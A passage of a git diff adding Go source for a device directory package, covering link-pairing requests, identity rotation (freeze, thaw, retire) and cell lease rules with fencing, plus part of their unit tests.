PresenceView is the answer to GET /v1/dir/presence (docs/ux-pairing-contract.md, section 3.5): +// one entry per device that is not revoked. It is the fallback for a client +// whose watch socket is down, and what a surface reads at open. +type PresenceView struct { + Now int64 `json:"now"` + Devices map[string]DevicePresence `json:"devices"` + // Version is the directory version the answer was read at, sent as the VersionHeader. + Version uint64 `json:"-"` +} + +func (v PresenceView) header(h http.Header) { + h.Set(VersionHeader, strconv.FormatUint(v.Version, 10)) +} + +// presenceOf is the view of listing l when the devices in online hold a watch socket. +func presenceOf(l Listing, online map[string]bool) PresenceView { + v := PresenceView{Now: l.Now, Version: l.Version, Devices: map[string]DevicePresence{}} + for id, d := range l.Devices { + if d.Revoked { + continue + } + p := DevicePresence{Online: online[id], LastSeen: d.LastSeen} + if p.Online { + p.LastSeen = l.Now + } + v.Devices[id] = p + } + return v +} + +func (c *memoryClient) Presence(ctx context.Context) (PresenceView, error) { + l, err := c.List(ctx) + return presenceOf(l, c.m.feed.OnlineSet()), err +} + +func (c *sqliteClient) Presence(ctx context.Context) (PresenceView, error) { + l, err := c.List(ctx) + return presenceOf(l, c.s.feed.OnlineSet()), err +} + +// Presence asks the relay who is online. ErrTooOld-style fallbacks are the caller's: a relay without the route answers not found. +func (h *HTTP) Presence(ctx context.Context) (v PresenceView, err error) { + hdr, err := h.doHeader(ctx, http.MethodGet, dirBase+"/presence", nil, &v) + if err == nil { + v.Version, _ = strconv.ParseUint(hdr.Get(VersionHeader), 10, 64) + } + return v, err +} + +// seen stamps when device last held a watch socket. It moves no version, +// because LastSeen is not a thing a person sees in the list. +func (m *Memory) seen(device string, at int64) { + m.mu.Lock() + defer m.mu.Unlock() + if d, ok := m.devices[device]; ok { + d.LastSeen = at + set(m, m.devices, device, d) + } +} + +func (s *SQLite) seen(device string, at int64) { + _ = s.inTx(context.Background(), func(tx *sql.Tx) error { + var d Device + if get(tx, "devices", device, &d) != nil { + return nil // not a device of this identity: nothing to stamp + } + d.LastSeen = at + return put(tx, s.feed, "devices", device, d, at) + }) +} + +// wireFeed connects a backend to its watch feed: the devices it approves are +// announced to the event sockets, and the sockets' comings and goings stamp last_seen. +func wireFeed(f *Feed, p *pairing, seen func(device string, at int64)) { + p.SetOnJoin(f.announceJoin) + f.OnSeen(seen) +} diff --git a/internal/directory/records.go b/internal/directory/records.go new file mode 100644 index 0000000000..03def23f46 --- /dev/null +++ b/internal/directory/records.go @@ -0,0 +1,157 @@ +// Package directory is the small shared table that says which device holds +// which chat and where its last durable turn is. Every write is a +// compare-and-swap decided by the pure rules in rules.go; the fake and every +// real implementation share those rules and one conformance suite. +// +// # Link pairing: the client API +// +// A new device joins an identity by asking, and an already-paired device +// answers. The wire is docs/ux-pairing-contract.md; this is how Go calls it. +// +// The new device has no identity yet, so it uses Requests (open, unsigned). +// Over HTTP that is NewLinkHTTP(base, hc); in process it is Links.From(peer). +// +// asked, _ := reqs.CreateRequest(ctx, directory.NewRequest{ +// Pubkey: pub, X25519: box, NameSealed: sealed, Platform: "linux"}) +// // show asked.Code, asked.Check and the link https://codeaf.agentfield.ai/p/# +// for { +// r, err := reqs.GetRequest(ctx, asked.Code, 25*time.Second) +// if errors.Is(err, directory.ErrStillPending) { continue } +// // r.State is RequestApproved (r.Grant holds the sealed grant) or RequestDenied +// } +// +// An already-paired device is a Client (signed). It reads the request with +// GetRequest on the same open Requests, compares Request.Check with the one +// the new device shows, and then answers once: +// +// err := client.ApproveRequest(ctx, code, directory.Approval{Device: d, Cert: cert, Grant: grant}) +// err = client.DenyRequest(ctx, code) +// +// The first decision wins. A repeat of the same decision succeeds; the other +// decision is ErrAlreadyDecided. ErrRequestGone covers an unknown, expired or +// deleted code. Rate limits answer ErrRateLimited (wireauth.After says when to +// retry); the numbers are LinkLimits, read with LinkHTTP.Limits. +package directory + +// IdentityRec is the per-identity root record. +type IdentityRec struct { + V uint16 `json:"V"` + Identity string `json:"identity"` // id_…, derived from the signing key + Vault string `json:"vault,omitempty"` // rid of the current vault object + // Rotation is set once the identity has been replaced by a rotation: it + // takes no writes from then on. Nil means live. + Rotation *Rotation `json:"rotation,omitempty"` +} + +// Caps says what a device can do. +type Caps struct { + OS string `json:"os"` // runtime.GOOS + Arch string `json:"arch"` // runtime.GOARCH + Sandbox *string `json:"sandbox"` // "seatbelt" | "landlock" | null + Container *string `json:"container"` // null in Stage 1 + GPU *string `json:"gpu"` // null in Stage 1 + Cow string `json:"cow"` // "apfs" | "btrfs" | "xfs-reflink" | "overlayfs" | "none" +} + +// Device is keyed by device id (dev_…). +type Device struct { + V uint16 `json:"V"` + Name string `json:"name"` // b64, sealed under the metadata key + AddedBy string `json:"added_by"` // identity id that signed the device cert + Revoked bool `json:"revoked"` // set only by Revoke; a fresh pairing makes a new device id + Caps Caps `json:"caps"` + + // Added by link pairing. Old records decode with zero values, and a client + // value for Created or LastSeen is ignored: the directory sets both. + Platform string `json:"platform,omitempty"` // darwin|linux|windows|ios|android|other + Created int64 `json:"created,omitempty"` // directory ms when the device joined + LastSeen int64 `json:"last_seen,omitempty"` // directory ms of the last watch socket close or hello +} + +// visibleAt hides LastSeen: a device coming and going is not a change a person +// sees in the list, so it moves no directory version. +func (d Device) visibleAt(int64) any { + d.LastSeen = 0 + return d +} + +// Lease says who may write a cell. Only the directory clock sets Expires. +type Lease struct { + Device string `json:"device"` // device id of the last holder, kept after release + Fence uint64 `json:"fence"` // +1 on every acquire, never decreases + Expires int64 `json:"expires"` // directory ms; held iff Expires > now; release sets 0 + Pending uint32 `json:"pending"` // turns sealed on the holder and not yet durable +} + +// Cell is keyed by cell ULID. It exists only once it has a durable head. +type Cell struct { + V uint16 `json:"V"` + Head string `json:"head"` // last durable turn id (hex64) + DurableAt int64 `json:"durable_at"` // directory ms + Class string `json:"class"` + Size uint64 `json:"size"` + ParentCell string `json:"parent_cell,omitempty"` + Title string `json:"title,omitempty"` // b64, sealed + Keys map[string]map[string]string `json:"keys"` // cell_key_id -> identity -> wrapped + Lease Lease `json:"lease"` + OrphanTurns uint32 `json:"orphan_turns,omitempty"` // turns in a death branch + Archived bool `json:"archived,omitempty"` // a merged or discarded branch + Frames []string `json:"frames,omitempty"` // hex64 ids of the frames holding the head's closure; a hint, never a condition +} + +// Listing is everything a home list needs, in one read. +type Listing struct { + Now int64 `json:"now"` // directory ms when read + Identity IdentityRec `json:"identity"` + Devices map[string]Device `json:"devices"` + Cells map[string]Cell `json:"cells"` + // Version is the directory version the records were read at, which is + // sent as the VersionHeader and not in the body. + Version uint64 `json:"-"` +} + +// withoutFrames drops every cell's frames from a list answer: the list is the +// home screen's hot read, and frame plans are for takers, who read the cell. +func withoutFrames(l Listing) Listing { + for id, c := range l.Cells { + c.Frames = nil + l.Cells[id] = c + } + return l +} + +// CellView is one cell with the directory time it was read at. +type CellView struct { + Now int64 `json:"now"` + Cell Cell `json:"cell"` +} + +// CellInit creates a cell. The calling device holds the new lease at fence 1. +type CellInit struct { + Head string `json:"head"` + Class string `json:"class"` + Title string `json:"title,omitempty"` + ParentCell string `json:"parent_cell,omitempty"` + Size uint64 `json:"size"` + Keys map[string]map[string]string `json:"keys"` + OrphanTurns uint32 `json:"orphan_turns,omitempty"` + Frames []string `json:"frames,omitempty"` +} + +// Beat renews a lease the caller holds. +type Beat struct { + Fence uint64 `json:"fence"` + Pending uint32 `json:"pending"` +} + +// Publish moves a cell's durable head under a lease the caller holds. +type Publish struct { + Fence uint64 `json:"fence"` + OldHead string `json:"old_head"` + Head string `json:"head"` + Size uint64 `json:"size"` + Class string `json:"class"` + Title string `json:"title,omitempty"` // empty keeps the current title + Pending uint32 `json:"pending"` // turns still not durable after this one + Frames []string `json:"frames,omitempty"` // empty or absent replaces the record's plan with none +} diff --git a/internal/directory/requests.go b/internal/directory/requests.go new file mode 100644 index 0000000000..ba3ec4319f --- /dev/null +++ b/internal/directory/requests.go @@ -0,0 +1,216 @@ +package directory + +import ( + "context" + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// RequestState is where a pending request stands. It moves once, from +// RequestPending, and never back. +type RequestState string + +// The three states of a request. +const ( + RequestPending RequestState = "pending" + RequestApproved RequestState = "approved" + RequestDenied RequestState = "denied" +) + +// The numbers every implementation shares (contract 1, 3). +const ( + RequestTTL = 10 * time.Minute // a request lives this long, counted by the relay's clock + DecidedKeep = 2 * time.Minute // a decided request stays readable this long + MaxWait = 25 * time.Second // the longest GetRequest wait + MaxGrant = 4096 // bytes of grant the relay stores + MaxNewBody = 1024 // bytes of a create body + maxName = 96 // bytes of name before sealing + sealedExtra = 24 + 16 // secretbox nonce and tag + keySize = 32 +) + +// Request is one device asking to join, as the relay keeps it. +type Request struct { + Code string `json:"code"` + Device string `json:"device"` + Pubkey string `json:"pubkey"` + X25519 string `json:"x25519"` + NameSealed string `json:"name_sealed"` + Platform string `json:"platform"` + Check string `json:"check"` + RequestedAt int64 `json:"requested_at"` + ExpiresAt int64 `json:"expires_at"` + State RequestState `json:"state"` + Grant *string `json:"grant"` // nil until approved +} + +// NewRequest is the body of a create. Every key is b64u of 32 bytes; NameSealed +// is the device name sealed under the link key, which the relay never sees. +type NewRequest struct { + Pubkey string `json:"pubkey"` + X25519 string `json:"x25519"` + NameSealed string `json:"name_sealed"` + Platform string `json:"platform"` +} + +// Opened answers a create. The caller builds the link from Code and its own key. +type Opened struct { + Code string `json:"code"` + Device string `json:"device"` + Check string `json:"check"` + RequestedAt int64 `json:"requested_at"` + ExpiresAt int64 `json:"expires_at"` +} + +// Approval is the body of an approve: the Device record to write for the +// request's device, its certificate from the identity, and the grant sealed to +// the new device, which the relay keeps as opaque bytes. +type Approval struct { + Device Device `json:"device"` + Cert string `json:"cert"` // b64u of the identity.Cert JSON + Grant string `json:"grant"` // b64u of the sealed box +} + +// Requests is the open side of link pairing: what the new device calls, with +// no identity. Links.From serves it in process and LinkHTTP over the wire. +type Requests interface { + // CreateRequest asks to join. ErrBadRequest, ErrTooBig, ErrRateLimited, ErrFull. + CreateRequest(ctx context.Context, in NewRequest) (Opened, error) + // GetRequest reads a request. With wait > 0 it holds until the request is + // decided and answers ErrStillPending if the wait (at most MaxWait) ends + // first. ErrRequestGone, ErrRateLimited. + GetRequest(ctx context.Context, code string, wait time.Duration) (Request, error) +} + +// ErrStillPending ends a GetRequest wait in which nobody decided. +var ErrStillPending = errors.New("directory: request still pending") + +// The errors link pairing adds (contract 7). +var ( + ErrBadRequest = errors.New("directory: bad request") + ErrRequestGone = errors.New("directory: no such request") // unknown, expired and deleted are one answer + ErrAlreadyDecided = errors.New("directory: request already decided") + ErrTooBig = errors.New("directory: body too big") + ErrFull = errors.New("directory: too many live requests") + ErrRateLimited = wireauth.ErrRateLimited // the wire's sentinel, so callers need not import wireauth +) + +const codeAlphabet = "0123456789abcdefghjkmnpqrstvwxyz" // Crockford base32: no i, l, o, u + +var b64u = base64.RawURLEncoding + +// NormalizeCode is the one spelling a code is looked up by. +func NormalizeCode(code string) string { return strings.ToLower(strings.TrimSpace(code)) } + +// platforms are the values a platform may take; anything else is "other". +var platforms = map[string]bool{"darwin": true, "linux": true, "windows": true, "ios": true, "android": true, "other": true} + +// platformOf keeps a known platform, maps an unknown one to "other" and leaves +// an unset one unset. +func platformOf(p string) string { + switch { + case p == "" || platforms[p]: + return p + } + return "other" +} + +// CheckOf is the four digits both ends show so a substituted key is visible. +func CheckOf(pubkey []byte) string { + sum := sha256.Sum256(pubkey) + return fmt.Sprintf("%04d", (int(sum[0])<<8|int(sum[1]))%10000) +} + +// deviceOf is the device id of a public key, the same id identity.Cert gives. +func deviceOf(pubkey []byte) string { + sum := sha256.Sum256(pubkey) + return "dev_" + hex.EncodeToString(sum[:16]) +} + +// opened is the answer and the record for n made at now, or ErrBadRequest when n is not a +// request: wrong key lengths, a name that is too long or not sealed. +func (n NewRequest) opened(code string, now int64) (Opened, Request, error) { + pub, ok1 := decodeKey(n.Pubkey) + _, ok2 := decodeKey(n.X25519) + if !ok1 || !ok2 || !sealedName(n.NameSealed) { + return Opened{}, Request{}, ErrBadRequest + } + o := Opened{Code: code, Device: deviceOf(pub), Check: CheckOf(pub), RequestedAt: now, ExpiresAt: now + RequestTTL.Milliseconds()} + r := Request{ + Code: code, Device: o.Device, Pubkey: n.Pubkey, X25519: n.X25519, NameSealed: n.NameSealed, + Platform: platformOf(n.Platform), Check: o.Check, RequestedAt: now, ExpiresAt: o.ExpiresAt, State: RequestPending, + } + if r.Platform == "" { + r.Platform = "other" + } + return o, r, nil +} + +func decodeKey(s string) ([]byte, bool) { + raw, err := b64u.DecodeString(s) + return raw, err == nil && len(raw) == keySize +} + +// sealedName says s is b64u of a sealed name: nonce, tag and at most maxName bytes. +func sealedName(s string) bool { + raw, err := b64u.DecodeString(s) + return err == nil && len(raw) >= sealedExtra && len(raw) <= sealedExtra+maxName +} + +// Decision is one move of a request out of pending. +type Decision struct { + State RequestState + Device string // the device the approval's certificate names; empty for a denial + Grant string +} + +// errRepeat marks a decision that was already made exactly so. +var errRepeat = errors.New("directory: repeated decision") + +// Settle says whether d may move r: nil when r is pending, errRepeat when r was +// already decided the same way, ErrAlreadyDecided otherwise. First decision wins. +func Settle(r Request, d Decision) error { + switch { + case r.State == RequestPending: + return nil + case r.State == d.State && d.sameBody(r): + return errRepeat + } + return ErrAlreadyDecided +} + +func (d Decision) sameBody(r Request) bool { + return d.State == RequestDenied || (d.Device == r.Device && r.Grant != nil && d.Grant == *r.Grant) +} + +// Decided is r after d. +func Decided(r Request, d Decision) Request { + r.State = d.State + if d.State == RequestApproved { + r.Grant = &d.Grant + } + return r +} + +// decisionOf checks an approval on its own and names what it decides: the +// grant fits, and the certificate decodes to a device. +func decisionOf(a Approval) (Decision, error) { + if b64u.DecodedLen(len(a.Grant)) > MaxGrant { + return Decision{}, ErrTooBig + } + raw, err := b64u.DecodeString(a.Cert) + var cert identity.Cert + if err != nil || json.Unmarshal(raw, &cert) != nil || a.Grant == "" { + return Decision{}, ErrBadRequest + } + return Decision{State: RequestApproved, Device: cert.DeviceID(), Grant: a.Grant}, nil +} diff --git a/internal/directory/rotation.go b/internal/directory/rotation.go new file mode 100644 index 0000000000..2c39e9c679 --- /dev/null +++ b/internal/directory/rotation.go @@ -0,0 +1,159 @@ +package directory + +import ( + "context" + "errors" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// The states of a replaced identity. An identity with no Rotation is live. +const ( + StateFrozen = "frozen" // read-only; the device that froze it may thaw it or retire it + StateRetired = "retired" // read-only until RetireAt, then deleted by the relay +) + +// Rotation is what an identity's record says about its replacement. +type Rotation struct { + State string `json:"state"` + By string `json:"by"` // the device that froze it; only it may retire + At int64 `json:"at"` // directory ms of the freeze + RetireAt int64 `json:"retire_at,omitempty"` +} + +// RotationOp is one move of the rotation state machine. +type RotationOp string + +const ( + OpFreeze RotationOp = "freeze" + OpThaw RotationOp = "thaw" + OpRetire RotationOp = "retire" +) + +// RotationReq is the body of a rotation call. +type RotationReq struct { + Op RotationOp `json:"op"` + GraceMS int64 `json:"grace_ms,omitempty"` // retire only; 0 is the relay's default +} + +// GraceBounds is what a relay accepts as a grace period. The relay's own +// clock and these numbers decide, and the client reads them back. +type GraceBounds struct{ Min, Max, Default time.Duration } + +// DefaultGraceBounds is one hour to thirty days, a week unless told. +var DefaultGraceBounds = GraceBounds{Min: time.Hour, Max: 30 * 24 * time.Hour, Default: 7 * 24 * time.Hour} + +// RotationView is the answer to both rotation calls: the state now, the +// directory's time, and the bounds it enforces, so a conformance run can test +// what a relay says and a client can show what it will do. +type RotationView struct { + Now int64 `json:"now"` + Rotation *Rotation `json:"rotation,omitempty"` + MinMS int64 `json:"min_grace_ms"` + MaxMS int64 `json:"max_grace_ms"` + DefaultMS int64 `json:"default_grace_ms"` +} + +func viewOf(rec IdentityRec, now int64, b GraceBounds) RotationView { + return RotationView{Now: now, Rotation: rec.Rotation, + MinMS: b.Min.Milliseconds(), MaxMS: b.Max.Milliseconds(), DefaultMS: b.Default.Milliseconds()} +} + +var ( + // ErrRotated is the refusal of a write to a replaced identity. + ErrRotated = wireauth.ErrRotated + // ErrRotationStep is a rotation call that does not fit the state: a retire + // before a freeze. + ErrRotationStep = errors.New("directory: that rotation step does not fit the identity's state") + // ErrBadGrace is a retire whose grace period is outside the relay's bounds. + ErrBadGrace = errors.New("directory: grace period outside what this relay accepts") +) + +// refusesWrites is the rule every write verb meets first: a replaced identity +// takes no write, whoever the device is. +func refusesWrites(rec IdentityRec) error { + if rec.Rotation != nil { + return ErrRotated + } + return nil +} + +// A step moves the rotation of one identity; it answers the next one. +type rotationStep func(cur *Rotation, device string, req RotationReq, now int64, b GraceBounds) (*Rotation, error) + +var rotationSteps = map[RotationOp]rotationStep{OpFreeze: freeze, OpThaw: thaw, OpRetire: retire} + +// RotateBy is the pure rule of the rotation state machine: it answers the record +// after device's call, or the refusal. Freezing is first come: a second device +// that freezes an identity somebody else froze is refused, so two people who +// both hold the root cannot both be rotating it. +func RotateBy(rec IdentityRec, device string, req RotationReq, now int64, b GraceBounds) (IdentityRec, error) { + step, ok := rotationSteps[req.Op] + if !ok { + return rec, errBadRequest + } + next, err := step(rec.Rotation, device, req, now, b) + if err != nil { + return rec, err + } + rec.Rotation = next + return rec, nil +} + +func freeze(cur *Rotation, device string, _ RotationReq, now int64, _ GraceBounds) (*Rotation, error) { + switch { + case cur == nil: + return &Rotation{State: StateFrozen, By: device, At: now}, nil + case cur.By == device: + return cur, nil + } + return nil, ErrRotated +} + +// thaw is open to any device of the identity: it is how a computer undoes a +// rotation whose keeper lost its disk. It cannot undo a retire. +func thaw(cur *Rotation, _ string, _ RotationReq, _ int64, _ GraceBounds) (*Rotation, error) { + if cur != nil && cur.State == StateRetired { + return nil, ErrRotated + } + return nil, nil +} + +func retire(cur *Rotation, device string, req RotationReq, now int64, b GraceBounds) (*Rotation, error) { + switch { + case cur == nil: + return nil, ErrRotationStep + case cur.By != device: + return nil, ErrRotated + case cur.State == StateRetired: + return cur, nil + } + grace := time.Duration(req.GraceMS) * time.Millisecond + if grace == 0 { + grace = b.Default + } + if grace < b.Min || grace > b.Max { + return nil, ErrBadGrace + } + return &Rotation{State: StateRetired, By: cur.By, At: cur.At, RetireAt: now + grace.Milliseconds()}, nil +} + +// Gate is a Client's rotation calls as the three moves a rotation makes. +type Gate struct{ Client Client } + +// Freeze stops every write to the identity. +func (g Gate) Freeze(ctx context.Context) error { return g.move(ctx, RotationReq{Op: OpFreeze}) } + +// Thaw undoes a freeze. +func (g Gate) Thaw(ctx context.Context) error { return g.move(ctx, RotationReq{Op: OpThaw}) } + +// Retire makes the freeze permanent and has the relay delete the identity after grace. +func (g Gate) Retire(ctx context.Context, grace time.Duration) error { + return g.move(ctx, RotationReq{Op: OpRetire, GraceMS: grace.Milliseconds()}) +} + +func (g Gate) move(ctx context.Context, req RotationReq) error { + _, err := g.Client.Rotate(ctx, req) + return err +} diff --git a/internal/directory/rules.go b/internal/directory/rules.go new file mode 100644 index 0000000000..8001f32582 --- /dev/null +++ b/internal/directory/rules.go @@ -0,0 +1,129 @@ +package directory + +// This file is the only place lease logic lives. Each rule takes a cell and +// returns the changed cell or an error, and never touches a clock or a store: +// the caller passes the directory time in and keeps the result. + +const ttlMs = int64(LeaseTTL / 1e6) + +// Lifted is c with its lease kept live until vouchedUntil, the time a watch +// socket's sign of life lasts (0 for none). A released lease (expires 0) stays +// released, and a stored expiry already later is left alone. It is the one +// place evidence enters a rule: every reader of a lease asks Lifted first and +// then applies the pure rules to the answer. +func Lifted(c Cell, vouchedUntil int64) Cell { + if c.Lease.Expires != 0 && vouchedUntil > c.Lease.Expires { + c.Lease.Expires = vouchedUntil + } + return c +} + +// Acquire takes the lease for device unless another device still holds it. The +// same device may re-take its own live lease; the fence still goes up. A forced +// acquire is a person's choice to displace a live holder: it skips the refusal, +// and the fence still goes up, so the old holder's next write fails as stale. +func Acquire(c Cell, device string, now int64, force bool, expected ...*LeaseExpectation) (Cell, error) { + if len(expected) > 0 && expected[0] != nil { + seen := expected[0] + if c.Lease.Device != seen.Device || c.Lease.Fence != seen.Fence { + return c, ErrLeaseHeld + } + } + if !force && c.Lease.Expires > now && c.Lease.Device != device { + return c, ErrLeaseHeld + } + c.Lease = Lease{Device: device, Fence: c.Lease.Fence + 1, Expires: now + ttlMs} + return c, nil +} + +// Heartbeat renews the lease. An expired lease nobody took may be renewed: the +// unchanged fence proves nobody did. +func Heartbeat(c Cell, device string, b Beat, now int64) (Cell, error) { + if err := holder(c, device, b.Fence); err != nil { + return c, err + } + c.Lease.Expires = now + ttlMs + c.Lease.Pending = b.Pending + return c, nil +} + +// PublishTo moves the durable head and renews the lease, because a publish is +// proof that the holder is alive. The fence is checked before the head, so a +// superseded holder always learns it lost the lease first. +func PublishTo(c Cell, device string, p Publish, now int64) (Cell, error) { + if err := holder(c, device, p.Fence); err != nil { + return c, err + } + if p.OldHead != c.Head { + return c, ErrHeadMoved + } + c.Head, c.Size, c.Class = p.Head, p.Size, p.Class + // The frames describe the head they were set with, so every publish replaces + // the list wholesale: an empty or absent list is a true statement ("the + // publisher did not say"), a stale one is not kept. + c.Frames = p.Frames + c.Lease.Pending, c.DurableAt = p.Pending, now + c.Lease.Expires = now + ttlMs + c.Title = keepIfEmpty(p.Title, c.Title) + return c, nil +} + +// ReleaseOf gives the lease up. The fence stays, so the next acquire still +// goes up by one. +func ReleaseOf(c Cell, device string, fence uint64) (Cell, error) { + if err := holder(c, device, fence); err != nil { + return c, err + } + c.Lease.Expires, c.Lease.Pending = 0, 0 + return c, nil +} + +// Created is the first record of a cell: the creating device holds the lease +// at fence 1. The caller has already checked that the id is free. +func Created(in CellInit, device string, now int64) Cell { + return Cell{ + V: 1, Head: in.Head, DurableAt: now, Class: in.Class, Size: in.Size, + ParentCell: in.ParentCell, Title: in.Title, Keys: in.Keys, OrphanTurns: in.OrphanTurns, + Frames: in.Frames, + Lease: Lease{Device: device, Fence: 1, Expires: now + ttlMs}, + } +} + +// holder says whether device still holds the lease at fence. +func holder(c Cell, device string, fence uint64) error { + if c.Lease.Fence != fence || c.Lease.Device != device { + return ErrFenceStale + } + return nil +} + +func keepIfEmpty(next, current string) string { + if next == "" { + return current + } + return next +} + +// RevokeOf marks target revoked on behalf of caller. A device cannot revoke +// itself: that is nearly always a slip, and a revoked device can no longer say +// so, so the mistake would be permanent. Revoking twice changes nothing. +func RevokeOf(target Device, caller, targetID string) (Device, error) { + if caller == targetID { + return target, ErrSelfRevoke + } + target.Revoked = true + return target, nil +} + +// Stamped is d as the directory stores it, given the record already stored +// under its id (had says whether there was one) and the directory time. The +// relay-owned fields are never taken from the client: Revoked and LastSeen stay +// as stored, and Created is the time of the first write. +func Stamped(old Device, had bool, d Device, now int64) Device { + d.Revoked, d.LastSeen, d.Created = old.Revoked, old.LastSeen, old.Created + if !had { + d.Created = now + } + d.Platform = platformOf(d.Platform) + return d +} diff --git a/internal/directory/rules_test.go b/internal/directory/rules_test.go new file mode 100644 index 0000000000..27ace97a36 --- /dev/null +++ b/internal/directory/rules_test.go @@ -0,0 +1,227 @@ +package directory + +import ( + "errors" + "reflect" + "testing" +) + +const ( + now = int64(1_000_000) + ttl = int64(90_000) + devA = "dev_a" + devB = "dev_b" + head1 = "h1" + head2 = "h2" +) + +// held is a cell devA holds at fence 4 until now+5s. +func held() Cell { + return Cell{Head: head1, Title: "old", Lease: Lease{Device: devA, Fence: 4, Expires: now + 5000, Pending: 2}} +} + +func expired() Cell { + c := held() + c.Lease.Expires = now - 1 + return c +} + +func TestAcquire(t *testing.T) { + tests := []struct { + name string + cell Cell + by string + want Lease + err error + }{ + {"refused while another holds", held(), devB, held().Lease, ErrLeaseHeld}, + {"refused at the last instant", withExpiry(held(), now+1), devB, Lease{}, ErrLeaseHeld}, + {"allowed at the exact expiry", withExpiry(held(), now), devB, Lease{Device: devB, Fence: 5, Expires: now + ttl}, nil}, + {"allowed after expiry", expired(), devB, Lease{Device: devB, Fence: 5, Expires: now + ttl}, nil}, + {"same device retakes its live lease", held(), devA, Lease{Device: devA, Fence: 5, Expires: now + ttl}, nil}, + {"pending resets", expired(), devA, Lease{Device: devA, Fence: 5, Expires: now + ttl}, nil}, + {"first ever acquire", Cell{}, devA, Lease{Device: devA, Fence: 1, Expires: now + ttl}, nil}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + got, err := Acquire(tc.cell, tc.by, now, false) + if !errors.Is(err, tc.err) { + t.Fatalf("err = %v, want %v", err, tc.err) + } + if tc.err == nil && got.Lease != tc.want { + t.Fatalf("lease = %+v, want %+v", got.Lease, tc.want) + } + if tc.err != nil && got.Lease != tc.cell.Lease { + t.Fatalf("a refusal changed the lease: %+v", got.Lease) + } + }) + } +} + +// TestAcquireForce: a forced acquire displaces a live holder and raises the +// fence, so the displaced holder's next write is refused as stale. +func TestAcquireForce(t *testing.T) { + taken, err := Acquire(held(), devB, now, true) + if err != nil { + t.Fatalf("forced acquire refused: %v", err) + } + if want := (Lease{Device: devB, Fence: 5, Expires: now + ttl}); taken.Lease != want { + t.Fatalf("lease = %+v, want %+v", taken.Lease, want) + } + if _, err := Heartbeat(taken, devA, Beat{Fence: 4}, now); !errors.Is(err, ErrFenceStale) { + t.Fatalf("displaced holder's heartbeat = %v, want ErrFenceStale", err) + } + free, err := Acquire(expired(), devB, now, true) + plain, _ := Acquire(expired(), devB, now, false) + if err != nil || free.Lease != plain.Lease { + t.Fatalf("force on a free cell = %+v, %v; want the plain result %+v", free.Lease, err, plain.Lease) + } +} + +func withExpiry(c Cell, at int64) Cell { c.Lease.Expires = at; return c } + +func TestHeartbeat(t *testing.T) { + tests := []struct { + name string + cell Cell + device string + beat Beat + want Lease + err error + }{ + {"renews a live lease", held(), devA, Beat{Fence: 4, Pending: 7}, Lease{Device: devA, Fence: 4, Expires: now + ttl, Pending: 7}, nil}, + {"renews an expired lease nobody took", expired(), devA, Beat{Fence: 4}, Lease{Device: devA, Fence: 4, Expires: now + ttl}, nil}, + {"stale fence refused", held(), devA, Beat{Fence: 3}, Lease{}, ErrFenceStale}, + {"future fence refused", held(), devA, Beat{Fence: 5}, Lease{}, ErrFenceStale}, + {"other device refused", held(), devB, Beat{Fence: 4}, Lease{}, ErrFenceStale}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + got, err := Heartbeat(tc.cell, tc.device, tc.beat, now) + if !errors.Is(err, tc.err) { + t.Fatalf("err = %v, want %v", err, tc.err) + } + if tc.err == nil && got.Lease != tc.want { + t.Fatalf("lease = %+v, want %+v", got.Lease, tc.want) + } + }) + } +} + +func TestPublishTo(t *testing.T) { + ok := Publish{Fence: 4, OldHead: head1, Head: head2, Size: 9, Class: "chat", Title: "new", Pending: 1} + tests := []struct { + name string + device string + p Publish + err error + check func(*testing.T, Cell) + }{ + {"moves the head", devA, ok, nil, func(t *testing.T, c Cell) { + if c.Head != head2 || c.Size != 9 || c.Class != "chat" || c.Lease.Pending != 1 || c.DurableAt != now || c.Title != "new" || c.Lease.Expires != now+ttl { + t.Fatalf("cell = %+v", c) + } + }}, + {"empty title keeps the old one", devA, with(ok, func(p *Publish) { p.Title = "" }), nil, func(t *testing.T, c Cell) { + if c.Title != "old" { + t.Fatalf("title = %q", c.Title) + } + }}, + {"stale fence refused", devA, with(ok, func(p *Publish) { p.Fence = 3 }), ErrFenceStale, nil}, + {"other device refused", devB, ok, ErrFenceStale, nil}, + {"moved head refused", devA, with(ok, func(p *Publish) { p.OldHead = "elsewhere" }), ErrHeadMoved, nil}, + {"fence is checked before the head", devB, with(ok, func(p *Publish) { p.OldHead = "elsewhere" }), ErrFenceStale, nil}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + got, err := PublishTo(held(), tc.device, tc.p, now) + if !errors.Is(err, tc.err) { + t.Fatalf("err = %v, want %v", err, tc.err) + } + if tc.err != nil && got.Head != head1 { + t.Fatalf("a refusal moved the head to %s", got.Head) + } + if tc.check != nil { + tc.check(t, got) + } + }) + } +} + +func with(p Publish, edit func(*Publish)) Publish { edit(&p); return p } + +func TestReleaseOf(t *testing.T) { + tests := []struct { + name string + device string + fence uint64 + want Lease + err error + }{ + {"frees the lease and keeps the fence", devA, 4, Lease{Device: devA, Fence: 4}, nil}, + {"stale fence refused", devA, 3, Lease{}, ErrFenceStale}, + {"other device refused", devB, 4, Lease{}, ErrFenceStale}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + got, err := ReleaseOf(held(), tc.device, tc.fence) + if !errors.Is(err, tc.err) { + t.Fatalf("err = %v, want %v", err, tc.err) + } + if tc.err == nil && got.Lease != tc.want { + t.Fatalf("lease = %+v, want %+v", got.Lease, tc.want) + } + }) + } +} + +func TestCreated(t *testing.T) { + in := CellInit{Head: head1, Class: "chat", Title: "t", ParentCell: "p", Size: 3, OrphanTurns: 2} + got := Created(in, devA, now) + want := Lease{Device: devA, Fence: 1, Expires: now + ttl} + if got.Lease != want || got.DurableAt != now || got.Head != head1 || got.V != 1 || + got.ParentCell != "p" || got.Title != "t" || got.OrphanTurns != 2 || got.Size != 3 { + t.Fatalf("cell = %+v", got) + } +} + +// Lifted raises a live lease's expiry to the vouched time and does nothing +// else: a released lease stays released, an earlier vouch changes nothing, and +// the rest of the cell is untouched. +func TestLiftedRaisesOnlyALiveLease(t *testing.T) { + held := Cell{Head: "h", Lease: Lease{Device: "d", Fence: 3, Expires: 1000, Pending: 2}} + for _, tc := range []struct { + name string + in Cell + vouched int64 + want int64 + }{ + {"later vouch lifts", held, 